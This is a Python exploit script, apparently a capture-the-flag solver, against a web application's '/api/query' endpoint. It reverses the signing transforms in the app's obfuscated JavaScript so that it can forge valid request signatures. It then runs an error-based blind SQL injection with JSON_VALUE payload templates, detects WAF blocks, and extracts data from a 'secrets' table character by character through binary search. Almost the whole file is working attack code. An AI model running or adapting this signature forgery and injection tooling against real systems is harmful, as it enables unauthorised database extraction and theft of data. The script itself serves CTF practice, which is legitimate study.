1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758
| """ Helpers for reversing the visible JS-side transforms in app.js and for reproducing the full signing / exploitation flow from source. """
from __future__ import annotations
import argparse import base64 import json import re import sys from typing import Iterable
try: import requests except ImportError: requests = None
ROT_SCR = (1, 5, 9, 13, 17, 3, 11, 19)
SALT_SEED = 0xA3B1C2D3 SALT_MSG = 0x1F2E3D4C SALT_UA = 0xB16B00B5 SALT_PERM = 0xC0DEC0DE WINDOW_MS = 30000
DEFAULT_BASE = "http://127.0.0.1:8080" DEFAULT_UA = ( "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" )
ERROR_TEMPLATES = ( "' || (SELECT CASE WHEN ({cond}) THEN " "JSON_VALUE('{{\"a\":\"x\"}}','$.a' RETURNING INTEGER ERROR ON ERROR) " "ELSE 0 END) || '", "' || (SELECT CASE WHEN ({cond}) THEN " "JSON_VALUE('{{\"a\":\"x\"}}','$.a' RETURNING INTEGER ON ERROR ERROR) " "ELSE 0 END) || '", )
def b64url_to_bytes(data: str) -> bytes: text = data.replace("-", "+").replace("_", "/") text += "=" * (-len(text) % 4) return base64.b64decode(text)
def bytes_to_b64url(data: bytes) -> str: return base64.urlsafe_b64encode(data).decode().rstrip("=")
def rotl32(x: int, r: int) -> int: r %= 32 return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF
def rotr32(x: int, r: int) -> int: r %= 32 return ((x >> r) | (x << (32 - r))) & 0xFFFFFFFF
def xor_bytes(left: bytes, right: bytes) -> bytes: if len(left) != len(right): raise ValueError(f"xor length mismatch: {len(left)} != {len(right)}") return bytes(a ^ b for a, b in zip(left, right))
def each_u32_le(buf: bytes) -> Iterable[int]: if len(buf) != 32: raise ValueError(f"expected 32 bytes, got {len(buf)}") for off in range(0, 32, 4): yield int.from_bytes(buf[off : off + 4], "little")
def words_to_bytes(words: Iterable[int]) -> bytes: return b"".join((w & 0xFFFFFFFF).to_bytes(4, "little") for w in words)
def mask_bytes(nonce_b64: str, ts: int) -> bytes: nonce = b64url_to_bytes(nonce_b64) state = 0 for byte in nonce: state = ((state * 131) + byte) & 0xFFFFFFFF hi = ts // 0x100000000 state = (state ^ (ts & 0xFFFFFFFF) ^ (hi & 0xFFFFFFFF)) & 0xFFFFFFFF
out = bytearray(32) for i in range(32): state ^= (state << 13) & 0xFFFFFFFF state ^= (state >> 17) & 0xFFFFFFFF state ^= (state << 5) & 0xFFFFFFFF state &= 0xFFFFFFFF out[i] = state & 0xFF return bytes(out)
def probe_mask(probe: str, ts: int) -> bytes: state = 0 for ch in probe: state = ((state * 33) + ord(ch)) & 0xFFFFFFFF hi = ts // 0x100000000 state = (state ^ (ts & 0xFFFFFFFF) ^ (hi & 0xFFFFFFFF)) & 0xFFFFFFFF
out = bytearray(32) for i in range(32): state = ((state * 1103515245) + 12345) & 0xFFFFFFFF out[i] = (state >> 16) & 0xFF return bytes(out)
def unscramble(pre_b64: str, nonce_b64: str, ts: int) -> bytes: buf = b64url_to_bytes(pre_b64) if len(buf) != 32: raise ValueError(f"`pre` must decode to 32 bytes, got {len(buf)}")
rotated = words_to_bytes( rotr32(word, rot) for word, rot in zip(each_u32_le(buf), ROT_SCR) ) return xor_bytes(rotated, mask_bytes(nonce_b64, ts))
def scramble(secret: bytes, nonce_b64: str, ts: int) -> str: if len(secret) != 32: raise ValueError(f"`secret` must be 32 bytes, got {len(secret)}")
masked = xor_bytes(secret, mask_bytes(nonce_b64, ts)) rotated = words_to_bytes( rotl32(word, rot) for word, rot in zip(each_u32_le(masked), ROT_SCR) ) return bytes_to_b64url(rotated)
def mix_secret(secret: bytes, probe: str, ts: int) -> bytes: if len(secret) != 32: raise ValueError(f"`secret` must be 32 bytes, got {len(secret)}")
mask = probe_mask(probe, ts) buf = bytearray(secret)
if mask[0] & 1: for i in range(0, 32, 2): buf[i], buf[i + 1] = buf[i + 1], buf[i]
if mask[1] & 2: buf[:] = words_to_bytes(rotl32(word, 3) for word in each_u32_le(bytes(buf)))
return xor_bytes(bytes(buf), mask)
def unmix_secret(mixed: bytes, probe: str, ts: int) -> bytes: if len(mixed) != 32: raise ValueError(f"`mixed` must be 32 bytes, got {len(mixed)}")
mask = probe_mask(probe, ts) buf = bytearray(xor_bytes(mixed, mask))
if mask[1] & 2: buf[:] = words_to_bytes(rotr32(word, 3) for word in each_u32_le(bytes(buf)))
if mask[0] & 1: for i in range(0, 32, 2): buf[i], buf[i + 1] = buf[i + 1], buf[i]
return bytes(buf)
def parse_32_bytes(value: str) -> bytes: if re.fullmatch(r"[0-9a-fA-F]{64}", value): raw = bytes.fromhex(value) else: raw = b64url_to_bytes(value)
if len(raw) != 32: raise ValueError(f"expected 32 bytes, got {len(raw)}") return raw
def print_formats(name: str, data: bytes) -> None: print(f"{name}.hex = {data.hex()}") print(f"{name}.b64url = {bytes_to_b64url(data)}")
def rot_words(buf: bytes, r: int) -> bytes: out = bytearray(32) for i in range(8): word = int.from_bytes(buf[i * 4 : i * 4 + 4], "little") out[i * 4 : i * 4 + 4] = rotl32(word, r).to_bytes(4, "little") return bytes(out)
def permute(buf: bytearray) -> None: for i in range(8): word = int.from_bytes(buf[i * 4 : i * 4 + 4], "little") buf[i * 4 : i * 4 + 4] = rotl32(word, (i * 7 + 3) % 31).to_bytes( 4, "little" )
def permute_inv(buf: bytearray) -> None: for i in range(8): word = int.from_bytes(buf[i * 4 : i * 4 + 4], "little") buf[i * 4 : i * 4 + 4] = rotl32(word, -((i * 7 + 3) % 31)).to_bytes( 4, "little" )
def kdf_table(salt: int, size: int) -> list[int]: out = [0] * 16 value = (salt ^ ((size * 0x9E3779B9) & 0xFFFFFFFF)) & 0xFFFFFFFF for i in range(16): value ^= (value << 13) & 0xFFFFFFFF value ^= (value >> 17) & 0xFFFFFFFF value ^= (value << 5) & 0xFFFFFFFF out[i] = (value + (i * 0x85EBCA6B)) & 0xFFFFFFFF return out
def kdf(data: bytes, salt: int) -> bytes: tab = kdf_table(salt, len(data)) value = (0x811C9DC5 ^ salt ^ tab[len(data) & 15]) & 0xFFFFFFFF for i, ch in enumerate(data): value ^= (ch + tab[i & 15]) & 0xFFFFFFFF value = (value * 0x01000193) & 0xFFFFFFFF if tab[(i + 3) & 15] & 1: value ^= value >> 13 if tab[(i + 7) & 15] & 2: value = rotl32(value, tab[i & 15] & 7)
value = (value ^ salt ^ tab[(len(data) + 7) & 15]) & 0xFFFFFFFF if tab[1] & 4: value ^= rotl32(value, tab[2] & 15)
out = bytearray(32) for i in range(8): value ^= (value << 13) & 0xFFFFFFFF value ^= value >> 17 value ^= (value << 5) & 0xFFFFFFFF value = ( value + ((i * 0x9E3779B9) & 0xFFFFFFFF) + salt + tab[i & 15] ) & 0xFFFFFFFF out[i * 4 : i * 4 + 4] = value.to_bytes(4, "little")
if tab[0] & 1: _ = kdf_table(salt ^ 0xA5A5A5A5, len(data) + 3) return bytes(out)
def ua_mix_key(ua: str, salt: str, ts: int) -> bytes: if not ua: ua = "ua/empty"
bucket = str(ts // WINDOW_MS) msg_a = f"{ua}|{salt}|{bucket}".encode() msg_b = f"{bucket}|{salt}|{ua}".encode() msg_c = f"{ua}|{bucket}".encode()
part_a = kdf(msg_a, SALT_UA) part_b = kdf(msg_b, SALT_UA ^ 0x13579BDF) part_c = kdf(msg_c, SALT_UA ^ 0x2468ACE0)
mix = xor_bytes(part_a, rot_words(part_b, 5)) mix = xor_bytes(mix, rot_words(part_c, 11)) if len(ua) % 7 == 3: fake = kdf(f"x|{ua}|{salt}".encode(), 0xDEADBEEF) mix = xor_bytes(mix, rot_words(fake, 7)) return mix
def seed_pack_params(nonce: str, salt: str, ts: int) -> tuple[list[int], list[int], list[int], list[int]]: bucket = str(ts // WINDOW_MS) msg = f"{nonce}|{salt}|{bucket}".encode() key = kdf(msg, SALT_PERM) pad_l = [key[i] % 5 for i in range(4)] pad_r = [key[i + 4] % 5 for i in range(4)] mask = [key[i + 8] for i in range(4)] idx = [0, 1, 2, 3] pos = 12 for i in range(3, 0, -1): j = key[pos] % (i + 1) idx[i], idx[j] = idx[j], idx[i] pos += 1 return idx, pad_l, pad_r, mask
def unpack_seed(seed_pack: str, nonce: str, salt: str, ts: int) -> bytes: parts = seed_pack.split(".") if len(parts) != 4: raise ValueError("bad seed pack")
perm, pad_l, pad_r, mask = seed_pack_params(nonce, salt, ts) chunks = [b"", b"", b"", b""] for i, part in enumerate(parts): raw = b64url_to_bytes(part) idx = perm[i] expected = pad_l[idx] + pad_r[idx] + 8 if len(raw) != expected: raise ValueError("bad chunk")
data = bytearray(raw[pad_l[idx] : pad_l[idx] + 8]) for j in range(8): data[j] ^= (mask[idx] + (j * 17)) & 0xFF chunks[idx] = bytes(data)
return b"".join(chunks)
def sign_request( method: str, path: str, q: str, nonce: str, ts: int, seed_pack: str, salt: str, ua: str, ) -> str: nonce_bytes = b64url_to_bytes(nonce) if len(nonce_bytes) < 8: raise ValueError("nonce too short")
k1 = kdf( nonce_bytes + ts.to_bytes(8, "little") + b"k9v3_suctf26_sigma", SALT_SEED, ) seed_x = bytearray(unpack_seed(seed_pack, nonce, salt, ts)) dyn = ua_mix_key(ua, salt, ts) permute_inv(seed_x) seed = xor_bytes(bytes(seed_x), dyn) secret = xor_bytes(seed, k1) secret2 = xor_bytes(secret, dyn)
msg = f"{method}|{path}|{q}|{ts}|{nonce}".encode() out = bytearray(xor_bytes(secret2, kdf(msg, SALT_MSG))) permute(out) return bytes_to_b64url(bytes(out))
def require_requests() -> None: if requests is None: raise RuntimeError("requests is required for HTTP commands")
def make_session(ua: str) -> "requests.Session": require_requests() session = requests.Session() session.headers.update( { "Accept": "application/json, text/plain, */*", "User-Agent": ua, } ) return session
def parse_json_response(resp: "requests.Response") -> dict: try: return resp.json() except Exception as exc: raise RuntimeError(f"non-json response ({resp.status_code}): {resp.text}") from exc
def fetch_material( session: "requests.Session", base: str, timeout: float ) -> dict: resp = session.get(f"{base.rstrip('/')}/api/sign", timeout=timeout) payload = parse_json_response(resp) resp.raise_for_status() if not payload.get("ok"): raise RuntimeError(payload.get("error") or "failed to get sign material") return payload["data"]
def sign_from_args_or_fetch( session: "requests.Session", base: str, timeout: float, args: argparse.Namespace, ) -> tuple[dict, str]: manual = [args.nonce, args.ts, args.seed, args.salt] if any(v is not None for v in manual): if not all(v is not None for v in manual): raise ValueError("--nonce/--ts/--seed/--salt must be provided together") material = { "nonce": args.nonce, "ts": args.ts, "seed": args.seed, "salt": args.salt, } else: material = fetch_material(session, base, timeout)
sign = sign_request( method=args.method, path=args.path, q=args.q, nonce=material["nonce"], ts=int(material["ts"]), seed_pack=material["seed"], salt=material["salt"], ua=args.ua, ) return material, sign
def do_query( session: "requests.Session", base: str, timeout: float, q: str, ) -> tuple[int, dict, dict, str]: material = fetch_material(session, base, timeout) sign = sign_request( method="POST", path="/api/query", q=q, nonce=material["nonce"], ts=int(material["ts"]), seed_pack=material["seed"], salt=material["salt"], ua=session.headers["User-Agent"], ) body = { "q": q, "nonce": material["nonce"], "ts": int(material["ts"]), "sign": sign, } resp = session.post( f"{base.rstrip('/')}/api/query", headers={"Content-Type": "application/json"}, data=json.dumps(body), timeout=timeout, ) return resp.status_code, parse_json_response(resp), material, sign
def inj_payload(cond: str, template: str) -> str: return template.format(cond=cond)
def is_error(status: int, payload: dict) -> bool: if status != 200: raise RuntimeError(f"HTTP {status}: {payload}") if payload.get("error") == "blocked": raise RuntimeError("WAF blocked payload") return not payload.get("ok", False)
def pick_template(session: "requests.Session", base: str, timeout: float) -> str: for template in ERROR_TEMPLATES: p_true = inj_payload("1=1", template) p_false = inj_payload("1=0", template) if len(p_true) > 256 or len(p_false) > 256: continue err_true = is_error(*do_query(session, base, timeout, p_true)[:2]) err_false = is_error(*do_query(session, base, timeout, p_false)[:2]) if err_true != err_false: return template raise RuntimeError("no working error template found")
def check_cond( session: "requests.Session", base: str, timeout: float, cond: str, template: str, ) -> bool: payload = inj_payload(cond, template) if len(payload) > 256: raise RuntimeError(f"payload too long: {len(payload)}") status, data, _, _ = do_query(session, base, timeout, payload) return is_error(status, data)
def extract_length( session: "requests.Session", base: str, timeout: float, template: str, expr: str, max_len: int, ) -> int: lo, hi = 1, max_len while lo <= hi: mid = (lo + hi) // 2 cond = f"length(({expr}))>{mid}" if check_cond(session, base, timeout, cond, template): lo = mid + 1 else: hi = mid - 1 return lo
def extract_char( session: "requests.Session", base: str, timeout: float, template: str, expr: str, pos: int, low: int, high: int, ) -> str: lo, hi = low, high while lo <= hi: mid = (lo + hi) // 2 cond = f"ascii(substr(({expr}),{pos},1))>{mid}" if check_cond(session, base, timeout, cond, template): lo = mid + 1 else: hi = mid - 1 return chr(lo)
def add_http_args(parser: argparse.ArgumentParser) -> None: parser.add_argument("--base", default=DEFAULT_BASE, help="base URL") parser.add_argument("--ua", default=DEFAULT_UA, help="User-Agent") parser.add_argument( "--timeout", type=float, default=8.0, help="HTTP timeout in seconds" )
def build_parser() -> argparse.ArgumentParser: parser = argparse.ArgumentParser( description="Reverse app.js transforms and reproduce the full sign/query flow" ) sub = parser.add_subparsers(dest="cmd", required=True)
pre_to_secret = sub.add_parser("pre-to-secret", help="recover secret2 from pre") pre_to_secret.add_argument("--pre", required=True) pre_to_secret.add_argument("--nonce", required=True) pre_to_secret.add_argument("--ts", required=True, type=int)
pre_to_mixed = sub.add_parser("pre-to-mixed", help="recover mixed from pre") pre_to_mixed.add_argument("--pre", required=True) pre_to_mixed.add_argument("--nonce", required=True) pre_to_mixed.add_argument("--ts", required=True, type=int) pre_to_mixed.add_argument("--probe", required=True)
mixed_to_secret = sub.add_parser( "mixed-to-secret", help="recover secret2 from mixed" ) mixed_to_secret.add_argument( "--mixed", required=True, help="32-byte value in hex or base64url", ) mixed_to_secret.add_argument("--probe", required=True) mixed_to_secret.add_argument("--ts", required=True, type=int)
secret_to_pre = sub.add_parser("secret-to-pre", help="rebuild pre from secret2") secret_to_pre.add_argument( "--secret", required=True, help="32-byte value in hex or base64url", ) secret_to_pre.add_argument("--nonce", required=True) secret_to_pre.add_argument("--ts", required=True, type=int)
secret_to_mixed = sub.add_parser( "secret-to-mixed", help="rebuild mixed from secret2" ) secret_to_mixed.add_argument( "--secret", required=True, help="32-byte value in hex or base64url", ) secret_to_mixed.add_argument("--probe", required=True) secret_to_mixed.add_argument("--ts", required=True, type=int)
material = sub.add_parser("material", help="fetch /api/sign material") add_http_args(material)
sign_cmd = sub.add_parser("sign", help="build a valid sign for a query") add_http_args(sign_cmd) sign_cmd.add_argument("--q", required=True) sign_cmd.add_argument("--method", default="POST") sign_cmd.add_argument("--path", default="/api/query") sign_cmd.add_argument("--nonce") sign_cmd.add_argument("--ts", type=int) sign_cmd.add_argument("--seed") sign_cmd.add_argument("--salt")
query_cmd = sub.add_parser("query", help="fetch material, sign, and send query") add_http_args(query_cmd) query_cmd.add_argument("--q", required=True) query_cmd.add_argument("--show-material", action="store_true") query_cmd.add_argument("--show-sign", action="store_true")
pick_tpl = sub.add_parser("pick-template", help="find a working error template") add_http_args(pick_tpl)
check = sub.add_parser("check-cond", help="test a boolean SQL condition") add_http_args(check) check.add_argument("--cond", required=True) check.add_argument("--template")
dump = sub.add_parser("dump-flag", help="extract data with the error oracle") add_http_args(dump) dump.add_argument( "--expr", default="select flag from secrets limit 1", help="SQL scalar expression to extract", ) dump.add_argument("--template") dump.add_argument("--max-len", type=int, default=96) dump.add_argument("--low", type=int, default=32) dump.add_argument("--high", type=int, default=126)
return parser
def main() -> int: parser = build_parser() args = parser.parse_args()
try: if args.cmd == "pre-to-secret": secret = unscramble(args.pre, args.nonce, args.ts) print_formats("secret", secret) return 0
if args.cmd == "pre-to-mixed": secret = unscramble(args.pre, args.nonce, args.ts) mixed = mix_secret(secret, args.probe, args.ts) print_formats("secret", secret) print_formats("mixed", mixed) return 0
if args.cmd == "mixed-to-secret": secret = unmix_secret(parse_32_bytes(args.mixed), args.probe, args.ts) print_formats("secret", secret) return 0
if args.cmd == "secret-to-pre": pre = scramble(parse_32_bytes(args.secret), args.nonce, args.ts) print(f"pre.b64url = {pre}") return 0
if args.cmd == "secret-to-mixed": mixed = mix_secret(parse_32_bytes(args.secret), args.probe, args.ts) print_formats("mixed", mixed) return 0
session = make_session(args.ua)
if args.cmd == "material": print(json.dumps(fetch_material(session, args.base, args.timeout), indent=2)) return 0
if args.cmd == "sign": material, sign = sign_from_args_or_fetch( session, args.base, args.timeout, args ) print( json.dumps( { "q": args.q, "method": args.method, "path": args.path, "nonce": material["nonce"], "ts": int(material["ts"]), "seed": material["seed"], "salt": material["salt"], "sign": sign, }, indent=2, ) ) return 0
if args.cmd == "query": status, data, material, sign = do_query( session, args.base, args.timeout, args.q ) if args.show_material: print("[material]") print(json.dumps(material, indent=2)) if args.show_sign: print("[sign]") print(sign) print(f"[http_status] {status}") print(json.dumps(data, indent=2, ensure_ascii=False)) return 0 if status == 200 else 1
if args.cmd == "pick-template": print(pick_template(session, args.base, args.timeout)) return 0
if args.cmd == "check-cond": template = args.template or pick_template(session, args.base, args.timeout) value = check_cond(session, args.base, args.timeout, args.cond, template) print( json.dumps( { "condition": args.cond, "template": template, "result": value, }, indent=2, ) ) return 0
if args.cmd == "dump-flag": template = args.template or pick_template(session, args.base, args.timeout) length = extract_length( session, args.base, args.timeout, template, args.expr, args.max_len, ) chars = [] for pos in range(1, length + 1): ch = extract_char( session, args.base, args.timeout, template, args.expr, pos, args.low, args.high, ) chars.append(ch) sys.stdout.write("\r" + "".join(chars)) sys.stdout.flush() sys.stdout.write("\n") print( json.dumps( { "expr": args.expr, "length": length, "template": template, "value": "".join(chars), }, indent=2, ensure_ascii=False, ) ) return 0
parser.error("unknown command") return 2 except Exception as exc: print(f"error: {exc}", file=sys.stderr) return 1
if __name__ == "__main__": raise SystemExit(main())
|